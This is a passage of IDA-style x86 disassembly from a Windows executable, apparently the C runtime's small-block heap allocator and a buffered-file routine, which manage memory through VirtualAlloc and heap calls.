		cmp	esi, 3Fh
		jbe	short loc_41EF12
		push	3Fh
		pop	esi


loc_41EF12:				; CODE XREF: sub_41ED20+1EDj
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_41EF61
		cmp	esi, 20h
		jnb	short loc_41EF3D
		mov	ebx, 80000000h
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_41EF5E
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41EF5E
; ---------------------------------------------------------------------------


loc_41EF3D:				; CODE XREF: sub_41ED20+1FDj
		lea	ecx, [esi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41EF5E
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41EF5E:				; CODE XREF: sub_41ED20+214j
					; sub_41ED20+21Bj ...
		mov	ebx, [ebp+arg_4]


loc_41EF61:				; CODE XREF: sub_41ED20+1F8j
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	ecx, [edi+4]
		mov	esi, [edi+8]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41EF88
		push	3Fh
		pop	esi


loc_41EF88:				; CODE XREF: sub_41ED20+1DDj
					; sub_41ED20+263j
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[ebx+4], edi
		mov	[ebx+8], ecx
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41F005
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[esi+eax+4], cl
		jnb	short loc_41EFDC
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41EFCF
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi


loc_41EFCF:				; CODE XREF: sub_41ED20+29Fj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, esi
		jmp	short loc_41F001
; ---------------------------------------------------------------------------


loc_41EFDC:				; CODE XREF: sub_41ED20+299j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41EFF2
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi


loc_41EFF2:				; CODE XREF: sub_41ED20+2C0j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	edx, 80000000h


loc_41F001:				; CODE XREF: sub_41ED20+2BAj
		shr	edx, cl
		or	[eax], edx


loc_41F005:				; CODE XREF: sub_41ED20+287j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax


loc_41F00E:				; CODE XREF: sub_41ED20+1A2j
					; sub_41ED20:loc_41EECEj
		push	1
		pop	eax


loc_41F011:				; CODE XREF: sub_41ED20+1A9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41ED20	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F016	proc near		; CODE XREF: sub_41E472+41p
					; sub_41F30E:loc_41F4DDp
		cmp	dword_43D600, 0FFFFFFFFh
		push	ebx
		push	ebp
		push	esi
		push	edi
		jnz	short loc_41F02A
		mov	esi, offset off_43D5F0
		jmp	short loc_41F047
; ---------------------------------------------------------------------------


loc_41F02A:				; CODE XREF: sub_41F016+Bj
		push	2020h
		push	0
		push	dword_4DFC64
		call	dword_428154	; RtlAllocateHeap
		mov	esi, eax
		test	esi, esi
		jz	loc_41F153


loc_41F047:				; CODE XREF: sub_41F016+12j
		mov	ebp, dword_4281D0
		push	4
		push	2000h
		push	400000h
		push	0
		call	ebp	; VirtualAlloc
		mov	edi, eax
		test	edi, edi
		jz	loc_41F13C
		push	4
		mov	ebx, 10000h
		push	1000h
		push	ebx
		push	edi
		call	ebp	; VirtualAlloc
		test	eax, eax
		jz	loc_41F12E
		mov	eax, offset off_43D5F0
		cmp	esi, eax
		jnz	short loc_41F0A6
		cmp	off_43D5F0, 0
		jnz	short loc_41F096
		mov	off_43D5F0, eax


loc_41F096:				; CODE XREF: sub_41F016+79j
		cmp	off_43D5F4, 0
		jnz	short loc_41F0BB
		mov	off_43D5F4, eax
		jmp	short loc_41F0BB
; ---------------------------------------------------------------------------


loc_41F0A6:				; CODE XREF: sub_41F016+70j
		mov	[esi], eax
		mov	eax, off_43D5F4
		mov	[esi+4], eax
		mov	off_43D5F4, esi
		mov	eax, [esi+4]
		mov	[eax], esi


loc_41F0BB:				; CODE XREF: sub_41F016+87j
					; sub_41F016+8Ej
		lea	eax, [edi+400000h]
		lea	ecx, [esi+98h]
		mov	[esi+14h], eax
		lea	eax, [esi+18h]
		mov	[esi+0Ch], ecx
		mov	[esi+10h], edi
		mov	[esi+8], eax
		xor	ebp, ebp
		mov	ecx, 0F1h


loc_41F0DD:				; CODE XREF: sub_41F016+E2j
		xor	edx, edx
		cmp	ebp, 10h
		setnl	dl
		dec	edx
		and	edx, ecx
		dec	edx
		inc	ebp
		mov	[eax], edx
		mov	[eax+4], ecx
		add	eax, 8
		cmp	ebp, 400h
		jl	short loc_41F0DD
		push	ebx
		push	0
		push	edi
		call	sub_41BC00
		add	esp, 0Ch


loc_41F106:				; CODE XREF: sub_41F016+112j
		mov	eax, [esi+10h]
		add	eax, ebx
		cmp	edi, eax
		jnb	short loc_41F12A
		or	byte ptr [edi+0F8h], 0FFh
		lea	eax, [edi+8]
		mov	[edi], eax
		mov	dword ptr [edi+4], 0F0h
		add	edi, 1000h
		jmp	short loc_41F106
; ---------------------------------------------------------------------------


loc_41F12A:				; CODE XREF: sub_41F016+F7j
		mov	eax, esi
		jmp	short loc_41F155
; ---------------------------------------------------------------------------


loc_41F12E:				; CODE XREF: sub_41F016+63j
		push	8000h
		push	0
		push	edi
		call	dword_4281CC	; VirtualFree


loc_41F13C:				; CODE XREF: sub_41F016+4Bj
		cmp	esi, offset off_43D5F0
		jz	short loc_41F153
		push	esi
		push	0
		push	dword_4DFC64
		call	dword_428150	; RtlFreeHeap


loc_41F153:				; CODE XREF: sub_41F016+2Bj
					; sub_41F016+12Cj
		xor	eax, eax


loc_41F155:				; CODE XREF: sub_41F016+116j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41F016	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F15A	proc near		; CODE XREF: sub_41F1B0+A5p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	8000h
		push	0
		push	dword ptr [esi+10h]
		call	dword_4281CC	; VirtualFree
		cmp	off_43F610, esi
		jnz	short loc_41F17F
		mov	eax, [esi+4]
		mov	off_43F610, eax


loc_41F17F:				; CODE XREF: sub_41F15A+1Bj
		cmp	esi, offset off_43D5F0
		jz	short loc_41F1A7
		mov	eax, [esi+4]
		mov	ecx, [esi]
		push	esi
		push	0
		mov	[eax], ecx
		mov	eax, [esi]
		mov	ecx, [esi+4]
		mov	[eax+4], ecx
		push	dword_4DFC64
		call	dword_428150	; RtlFreeHeap
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41F1A7:				; CODE XREF: sub_41F15A+2Bj
		or	dword_43D600, 0FFFFFFFFh
		pop	esi
		retn
sub_41F15A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F1B0	proc near		; CODE XREF: sub_41F2C9+3Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_43D5F4
		push	edi


loc_41F1BD:				; CODE XREF: sub_41F1B0+B7j
		cmp	dword ptr [esi+10h], 0FFFFFFFFh
		jz	loc_41F25B
		and	[ebp+var_4], 0
		lea	edi, [esi+2010h]
		mov	ebx, 3FF000h


loc_41F1D6:				; CODE XREF: sub_41F1B0+72j
		cmp	dword ptr [edi], 0F0h
		jnz	short loc_41F217
		mov	eax, ebx
		push	4000h
		add	eax, [esi+10h]
		push	1000h
		push	eax
		call	dword_4281CC	; VirtualFree
		test	eax, eax
		jz	short loc_41F217
		or	dword ptr [edi], 0FFFFFFFFh
		dec	dword_4DE644
		mov	eax, [esi+0Ch]
		test	eax, eax
		jz	short loc_41F20C
		cmp	eax, edi
		jbe	short loc_41F20F


loc_41F20C:				; CODE XREF: sub_41F1B0+56j
		mov	[esi+0Ch], edi


loc_41F20F:				; CODE XREF: sub_41F1B0+5Aj
		inc	[ebp+var_4]
		dec	[ebp+arg_0]
		jz	short loc_41F224


loc_41F217:				; CODE XREF: sub_41F1B0+2Cj
					; sub_41F1B0+46j
		sub	ebx, 1000h
		sub	edi, 8
		test	ebx, ebx
		jge	short loc_41F1D6


loc_41F224:				; CODE XREF: sub_41F1B0+65j
		cmp	[ebp+var_4], 0
		mov	ecx, esi
		mov	esi, [esi+4]
		jz	short loc_41F25B
		cmp	dword ptr [ecx+18h], 0FFFFFFFFh
		jnz	short loc_41F25B
		push	1
		lea	eax, [ecx+20h]
		pop	edx


loc_41F23B:				; CODE XREF: sub_41F1B0+9Aj
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41F24C
		inc	edx
		add	eax, 8
		cmp	edx, 400h
		jl	short loc_41F23B


loc_41F24C:				; CODE XREF: sub_41F1B0+8Ej
		cmp	edx, 400h
		jnz	short loc_41F25B
		push	ecx
		call	sub_41F15A
		pop	ecx


loc_41F25B:				; CODE XREF: sub_41F1B0+11j
					; sub_41F1B0+7Dj ...
		cmp	esi, off_43D5F4
		jz	short loc_41F26D
		cmp	[ebp+arg_0], 0
		jg	loc_41F1BD


loc_41F26D:				; CODE XREF: sub_41F1B0+B1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F1B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F272	proc near		; CODE XREF: sub_41B721+3Ap
					; sub_41B872+173p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	edx, offset off_43D5F0
		push	esi
		mov	ecx, edx


loc_41F27E:				; CODE XREF: sub_41F272+1Cj
		cmp	eax, [ecx+10h]
		jbe	short loc_41F288
		cmp	eax, [ecx+14h]
		jb	short loc_41F290


loc_41F288:				; CODE XREF: sub_41F272+Fj
		mov	ecx, [ecx]
		cmp	ecx, edx
		jz	short loc_41F2C5
		jmp	short loc_41F27E
; ---------------------------------------------------------------------------


loc_41F290:				; CODE XREF: sub_41F272+14j
		test	al, 0Fh
		jnz	short loc_41F2C5
		mov	esi, eax
		mov	edx, 100h
		and	esi, 0FFFh
		cmp	esi, edx
		jb	short loc_41F2C5
		mov	esi, [esp+4+arg_4]
		mov	[esi], ecx
		mov	esi, [esp+4+arg_8]
		mov	ecx, eax
		and	cx, 0F000h
		sub	eax, ecx
		mov	[esi], ecx
		sub	eax, edx
		pop	esi
		sar	eax, 4
		lea	eax, [eax+ecx+8]
		retn
; ---------------------------------------------------------------------------


loc_41F2C5:				; CODE XREF: sub_41F272+1Aj
					; sub_41F272+20j ...
		xor	eax, eax
		pop	esi
		retn
sub_41F272	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F2C9	proc near		; CODE XREF: sub_41B721+4Dp
					; sub_41B872+1D5p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		sub	ecx, [eax+10h]
		sar	ecx, 0Ch
		lea	eax, [eax+ecx*8+18h]
		mov	ecx, [esp+arg_8]
		movzx	edx, byte ptr [ecx]
		add	[eax], edx
		and	byte ptr [ecx],	0
		cmp	dword ptr [eax], 0F0h
		mov	dword ptr [eax+4], 0F1h
		jnz	short locret_41F30D
		inc	dword_4DE644
		cmp	dword_4DE644, 20h
		jnz	short locret_41F30D
		push	10h
		call	sub_41F1B0
		pop	ecx

locret_41F30D:				; CODE XREF: sub_41F2C9+2Bj
					; sub_41F2C9+3Aj
		retn
sub_41F2C9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F30E	proc near		; CODE XREF: sub_41B872+1ACp
					; sub_41BB83+4Ap ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_43F610
		push	edi


loc_41F31C:				; CODE XREF: sub_41F30E+C6j
		mov	edx, [esi+10h]
		cmp	edx, 0FFFFFFFFh
		jz	loc_41F3C7
		mov	edi, [esi+8]
		lea	ecx, [esi+2018h]
		mov	eax, edi
		sub	eax, esi
		sub	eax, 18h
		sar	eax, 3
		shl	eax, 0Ch
		add	eax, edx
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jnb	short loc_41F381


loc_41F347:				; CODE XREF: sub_41F30E+6Fj
		mov	ecx, [edi]
		mov	ebx, [ebp+arg_0]
		cmp	ecx, ebx
		jl	short loc_41F36A
		cmp	[edi+4], ebx
		jbe	short loc_41F36A
		push	ebx
		push	ecx
		push	eax
		call	sub_41F516
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41F3D9
		mov	eax, [ebp+var_4]
		mov	[edi+4], ebx


loc_41F36A:				; CODE XREF: sub_41F30E+40j
					; sub_41F30E+45j
		add	edi, 8
		lea	ecx, [esi+2018h]
		add	eax, 1000h
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jb	short loc_41F347
		jmp	short loc_41F384
; ---------------------------------------------------------------------------


loc_41F381:				; CODE XREF: sub_41F30E+37j
		mov	ebx, [ebp+arg_0]


loc_41F384:				; CODE XREF: sub_41F30E+71j
		mov	eax, [esi+8]
		mov	ecx, [esi+10h]
		lea	edi, [esi+18h]
		mov	[ebp+var_8], eax
		cmp	edi, eax
		mov	[ebp+var_4], ecx
		jnb	short loc_41F3CA


loc_41F397:				; CODE XREF: sub_41F30E+B5j
		mov	eax, [edi]
		cmp	eax, ebx
		jl	short loc_41F3B6
		cmp	[edi+4], ebx
		jbe	short loc_41F3B6
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	sub_41F516
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41F3D9
		mov	[edi+4], ebx


loc_41F3B6:				; CODE XREF: sub_41F30E+8Dj
					; sub_41F30E+92j
		add	[ebp+var_4], 1000h
		add	edi, 8
		cmp	edi, [ebp+var_8]
		jb	short loc_41F397
		jmp	short loc_41F3CA
; ---------------------------------------------------------------------------


loc_41F3C7:				; CODE XREF: sub_41F30E+14j
		mov	ebx, [ebp+arg_0]


loc_41F3CA:				; CODE XREF: sub_41F30E+87j
					; sub_41F30E+B7j
		mov	esi, [esi]
		cmp	esi, off_43F610
		jz	short loc_41F3E9
		jmp	loc_41F31C
; ---------------------------------------------------------------------------


loc_41F3D9:				; CODE XREF: sub_41F30E+54j
					; sub_41F30E+A3j
		mov	off_43F610, esi
		sub	[edi], ebx
		mov	[esi+8], edi
		jmp	loc_41F511
; ---------------------------------------------------------------------------


loc_41F3E9:				; CODE XREF: sub_41F30E+C4j
		mov	eax, offset off_43D5F0
		mov	edi, eax


loc_41F3F0:				; CODE XREF: sub_41F30E+F8j
		cmp	dword ptr [edi+10h], 0FFFFFFFFh
		jz	short loc_41F3FC
		cmp	dword ptr [edi+0Ch], 0
		jnz	short loc_41F408


loc_41F3FC:				; CODE XREF: sub_41F30E+E6j
		mov	edi, [edi]
		cmp	edi, eax
		jz	loc_41F4DD
		jmp	short loc_41F3F0
; ---------------------------------------------------------------------------


loc_41F408:				; CODE XREF: sub_41F30E+ECj
		mov	ebx, [edi+0Ch]
		and	[ebp+var_4], 0
		mov	esi, ebx
		mov	eax, ebx
		sub	esi, edi
		sub	esi, 18h
		sar	esi, 3
		shl	esi, 0Ch
		add	esi, [edi+10h]
		cmp	dword ptr [ebx], 0FFFFFFFFh
		jnz	short loc_41F437


loc_41F426:				; CODE XREF: sub_41F30E+127j
		cmp	[ebp+var_4], 10h
		jge	short loc_41F437
		add	eax, 8
		inc	[ebp+var_4]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_41F426


loc_41F437:				; CODE XREF: sub_41F30E+116j
					; sub_41F30E+11Cj
		mov	eax, [ebp+var_4]
		push	4
		shl	eax, 0Ch
		push	1000h
		push	eax
		push	esi
		mov	[ebp+var_8], eax
		call	dword_4281D0	; VirtualAlloc
		cmp	eax, esi
		jnz	loc_41F50F
		push	0
		push	[ebp+var_8]
		push	esi
		call	sub_41BC00
		mov	edx, [ebp+var_4]
		add	esp, 0Ch
		test	edx, edx
		mov	ecx, ebx
		jle	short loc_41F49E
		lea	eax, [esi+4]
		mov	[ebp+var_4], edx


loc_41F474:				; CODE XREF: sub_41F30E+18Ej
		or	byte ptr [eax+0F4h], 0FFh
		lea	edx, [eax+4]
		mov	[eax-4], edx
		mov	edx, 0F0h
		mov	[eax], edx
		mov	[ecx], edx
		mov	dword ptr [ecx+4], 0F1h
		add	eax, 1000h
		add	ecx, 8
		dec	[ebp+var_4]
		jnz	short loc_41F474


loc_41F49E:				; CODE XREF: sub_41F30E+15Ej
		mov	off_43F610, edi
		lea	eax, [edi+2018h]


loc_41F4AA:				; CODE XREF: sub_41F30E+1A8j
		cmp	ecx, eax
		jnb	short loc_41F4BA
		cmp	dword ptr [ecx], 0FFFFFFFFh
		jz	short loc_41F4B8
		add	ecx, 8
		jmp	short loc_41F4AA
; ---------------------------------------------------------------------------


loc_41F4B8:				; CODE XREF: sub_41F30E+1A3j
		cmp	ecx, eax


loc_41F4BA:				; CODE XREF: sub_41F30E+19Ej
		sbb	eax, eax
		and	eax, ecx
		mov	[edi+0Ch], eax
		mov	eax, [ebp+arg_0]
		mov	[esi+8], al
		mov	[edi+8], ebx
		sub	[ebx], eax
		sub	[esi+4], eax
		lea	ecx, [esi+eax+8]
		lea	eax, [esi+100h]
		mov	[esi], ecx
		jmp	short loc_41F511
; ---------------------------------------------------------------------------


loc_41F4DD:				; CODE XREF: sub_41F30E+F2j
		call	sub_41F016
		test	eax, eax
		jz	short loc_41F50F
		mov	ecx, [eax+10h]
		mov	[ecx+8], bl
		lea	edx, [ecx+ebx+8]
		mov	off_43F610, eax
		mov	[ecx], edx
		mov	edx, 0F0h
		sub	edx, ebx
		mov	[ecx+4], edx
		movzx	edx, bl
		sub	[eax+18h], edx
		lea	eax, [ecx+100h]
		jmp	short loc_41F511
; ---------------------------------------------------------------------------


loc_41F50F:				; CODE XREF: sub_41F30E+143j
					; sub_41F30E+1D6j
		xor	eax, eax


loc_41F511:				; CODE XREF: sub_41F30E+D6j
					; sub_41F30E+1CDj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F30E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F516	proc near		; CODE XREF: sub_41F30E+4Ap
					; sub_41F30E+99p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_8]
		push	ebx
		push	esi
		mov	esi, [ecx+4]
		push	edi
		mov	edi, [ecx]
		lea	ebx, [ecx+0F8h]
		cmp	esi, edx
		mov	[ebp+var_4], edi
		mov	eax, edi
		mov	[ebp+arg_0], ebx
		jb	short loc_41F55B
		lea	eax, [edi+edx]
		mov	[edi], dl
		cmp	eax, ebx
		jnb	short loc_41F54A
		add	[ecx], edx
		sub	[ecx+4], edx
		jmp	short loc_41F553
; ---------------------------------------------------------------------------


loc_41F54A:				; CODE XREF: sub_41F516+2Bj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_41F553:				; CODE XREF: sub_41F516+32j
		lea	eax, [edi+8]
		jmp	loc_41F629
; ---------------------------------------------------------------------------


loc_41F55B:				; CODE XREF: sub_41F516+22j
		add	esi, edi
		cmp	byte ptr [esi],	0
		jz	short loc_41F564
		mov	eax, esi


loc_41F564:				; CODE XREF: sub_41F516+4Aj
		lea	esi, [eax+edx]
		cmp	esi, ebx
		jnb	short loc_41F5AE


loc_41F56B:				; CODE XREF: sub_41F516+96j
		mov	bl, [eax]
		test	bl, bl
		jnz	short loc_41F5A1
		push	1
		lea	ebx, [eax+1]
		pop	esi


loc_41F577:				; CODE XREF: sub_41F516+68j
		cmp	byte ptr [ebx],	0
		jnz	short loc_41F580
		inc	ebx
		inc	esi
		jmp	short loc_41F577
; ---------------------------------------------------------------------------


loc_41F580:				; CODE XREF: sub_41F516+64j
		cmp	esi, edx
		jnb	short loc_41F5D2
		cmp	eax, [ebp+var_4]
		jnz	short loc_41F58E
		mov	[ecx+4], esi
		jmp	short loc_41F59A
; ---------------------------------------------------------------------------


loc_41F58E:				; CODE XREF: sub_41F516+71j
		sub	[ebp+arg_4], esi
		cmp	[ebp+arg_4], edx
		jb	loc_41F633


loc_41F59A:				; CODE XREF: sub_41F516+76j
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41F5A6
; ---------------------------------------------------------------------------


loc_41F5A1:				; CODE XREF: sub_41F516+59j
		movzx	esi, bl
		add	eax, esi


loc_41F5A6:				; CODE XREF: sub_41F516+89j
		lea	esi, [eax+edx]
		cmp	esi, [ebp+arg_0]
		jb	short loc_41F56B


loc_41F5AE:				; CODE XREF: sub_41F516+53j
		lea	esi, [ecx+8]


loc_41F5B1:				; CODE XREF: sub_41F516+EBj
					; sub_41F516+F2j
		cmp	esi, edi
		jnb	short loc_41F633
		lea	eax, [esi+edx]
		cmp	eax, [ebp+arg_0]
		jnb	short loc_41F633
		mov	al, [esi]
		test	al, al
		jnz	short loc_41F603
		push	1
		lea	ebx, [esi+1]
		pop	eax


loc_41F5C9:				; CODE XREF: sub_41F516+BAj
		cmp	byte ptr [ebx],	0
		jnz	short loc_41F5F3
		inc	ebx
		inc	eax
		jmp	short loc_41F5C9
; ---------------------------------------------------------------------------


loc_41F5D2:				; CODE XREF: sub_41F516+6Cj
		lea	ebx, [eax+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41F5E3
		sub	esi, edx
		mov	[ecx], ebx
		mov	[ecx+4], esi
		jmp	short loc_41F5EC
; ---------------------------------------------------------------------------


loc_41F5E3:				; CODE XREF: sub_41F516+C2j
		and	dword ptr [ecx+4], 0
		lea	esi, [ecx+8]
		mov	[ecx], esi


loc_41F5EC:				; CODE XREF: sub_41F516+CBj
		mov	[eax], dl
		add	eax, 8
		jmp	short loc_41F629
; ---------------------------------------------------------------------------


loc_41F5F3:				; CODE XREF: sub_41F516+B6j
		cmp	eax, edx
		jnb	short loc_41F60A
		sub	[ebp+arg_4], eax
		cmp	[ebp+arg_4], edx
		jb	short loc_41F633
		mov	esi, ebx
		jmp	short loc_41F5B1
; ---------------------------------------------------------------------------


loc_41F603:				; CODE XREF: sub_41F516+ABj
		movzx	eax, al
		add	esi, eax
		jmp	short loc_41F5B1
; ---------------------------------------------------------------------------


loc_41F60A:				; CODE XREF: sub_41F516+DFj
		lea	ebx, [esi+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41F61B
		sub	eax, edx
		mov	[ecx], ebx
		mov	[ecx+4], eax
		jmp	short loc_41F624
; ---------------------------------------------------------------------------


loc_41F61B:				; CODE XREF: sub_41F516+FAj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_41F624:				; CODE XREF: sub_41F516+103j
		mov	[esi], dl
		lea	eax, [esi+8]


loc_41F629:				; CODE XREF: sub_41F516+40j
					; sub_41F516+DBj
		imul	ecx, 0Fh
		shl	eax, 4
		sub	eax, ecx
		jmp	short loc_41F635
; ---------------------------------------------------------------------------


loc_41F633:				; CODE XREF: sub_41F516+7Ej
					; sub_41F516+9Dj ...
		xor	eax, eax


loc_41F635:				; CODE XREF: sub_41F516+11Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F516	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F63A	proc near		; CODE XREF: sub_41B872+19Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		movzx	ecx, byte ptr [edx]
		push	edi
		mov	edi, [ebp+arg_0]
		and	[ebp+var_4], 0
		mov	eax, ebx
		sub	eax, [edi+10h]
		sar	eax, 0Ch
		cmp	ecx, [ebp+arg_C]
		lea	edi, [edi+eax*8+18h]
		jbe	short loc_41F674
		mov	eax, [ebp+arg_C]
		sub	ecx, eax
		mov	[edx], al
		add	[edi], ecx
		mov	dword ptr [edi+4], 0F1h
		jmp	short loc_41F6D4
; ---------------------------------------------------------------------------


loc_41F674:				; CODE XREF: sub_41F63A+26j
		jnb	short loc_41F6DB
		mov	eax, [ebp+arg_C]
		lea	esi, [edx+eax]
		lea	eax, [ebx+0F8h]
		cmp	eax, esi
		jb	short loc_41F6DB
		lea	eax, [ecx+edx]


loc_41F689:				; CODE XREF: sub_41F63A+59j
		cmp	eax, esi
		jnb	short loc_41F697
		cmp	byte ptr [eax],	0
		jnz	short loc_41F695
		inc	eax
		jmp	short loc_41F689
; ---------------------------------------------------------------------------


loc_41F695:				; CODE XREF: sub_41F63A+56j
		cmp	eax, esi


loc_41F697:				; CODE XREF: sub_41F63A+51j
		jnz	short loc_41F6DB
		mov	al, byte ptr [ebp+arg_C]
		mov	[edx], al
		mov	eax, [ebx]
		cmp	edx, eax
		ja	short loc_41F6CF
		cmp	esi, eax
		jbe	short loc_41F6CF
		lea	eax, [ebx+0F8h]
		cmp	esi, eax
		jnb	short loc_41F6C6
		xor	eax, eax
		mov	[ebx], esi
		cmp	[esi], al
		jnz	short loc_41F6C1


loc_41F6BA:				; CODE XREF: sub_41F63A+85j
		inc	eax
		cmp	byte ptr [esi+eax], 0
		jz	short loc_41F6BA


loc_41F6C1:				; CODE XREF: sub_41F63A+7Ej
		mov	[ebx+4], eax
		jmp	short loc_41F6CF
; ---------------------------------------------------------------------------


loc_41F6C6:				; CODE XREF: sub_41F63A+76j
		and	dword ptr [ebx+4], 0
		lea	eax, [ebx+8]
		mov	[ebx], eax


loc_41F6CF:				; CODE XREF: sub_41F63A+68j
					; sub_41F63A+6Cj ...
		sub	ecx, [ebp+arg_C]
		add	[edi], ecx


loc_41F6D4:				; CODE XREF: sub_41F63A+38j
		mov	[ebp+var_4], 1


loc_41F6DB:				; CODE XREF: sub_41F63A:loc_41F674j
					; sub_41F63A+4Aj ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F63A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F6E3	proc near		; CODE XREF: sub_41B78A+A9p
					; sub_41C1BF+2Dp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_41F7B7
		test	al, 40h
		jnz	loc_41F7B7
		test	al, 2
		jz	short loc_41F709
		or	al, 20h
		mov	[esi+0Ch], eax
		jmp	loc_41F7B7
; ---------------------------------------------------------------------------


loc_41F709:				; CODE XREF: sub_41F6E3+1Aj
		or	al, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41F71D
		push	esi
		call	sub_4240B7
		pop	ecx
		jmp	short loc_41F722
; ---------------------------------------------------------------------------


loc_41F71D:				; CODE XREF: sub_41F6E3+2Fj
		mov	eax, [esi+8]
		mov	[esi], eax


loc_41F722:				; CODE XREF: sub_41F6E3+38j
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	dword ptr [esi+10h]
		call	sub_41F7BC
		add	esp, 0Ch
		mov	[esi+4], eax
		test	eax, eax
		jz	short loc_41F7A6
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41F7A6
		mov	edx, [esi+0Ch]
		test	dl, 82h
		jnz	short loc_41F77B
		mov	ecx, [esi+10h]
		push	edi
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_41F764
		mov	edi, ecx
		sar	edi, 5
		and	ecx, 1Fh
		mov	edi, dword_4DF920[edi*4]
		lea	edi, [edi+ecx*8]
		jmp	short loc_41F769
; ---------------------------------------------------------------------------


loc_41F764:				; CODE XREF: sub_41F6E3+6Bj
		mov	edi, offset dword_43FC70


loc_41F769:				; CODE XREF: sub_41F6E3+7Fj
		mov	cl, [edi+4]
		pop	edi
		and	cl, 82h
		cmp	cl, 82h
		jnz	short loc_41F77B
		or	dh, 20h
		mov	[esi+0Ch], edx


loc_41F77B:				; CODE XREF: sub_41F6E3+62j
					; sub_41F6E3+90j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_41F798
		mov	ecx, [esi+0Ch]
		test	cl, 8
		jz	short loc_41F798
		test	ch, 4
		jnz	short loc_41F798
		mov	dword ptr [esi+18h], 1000h


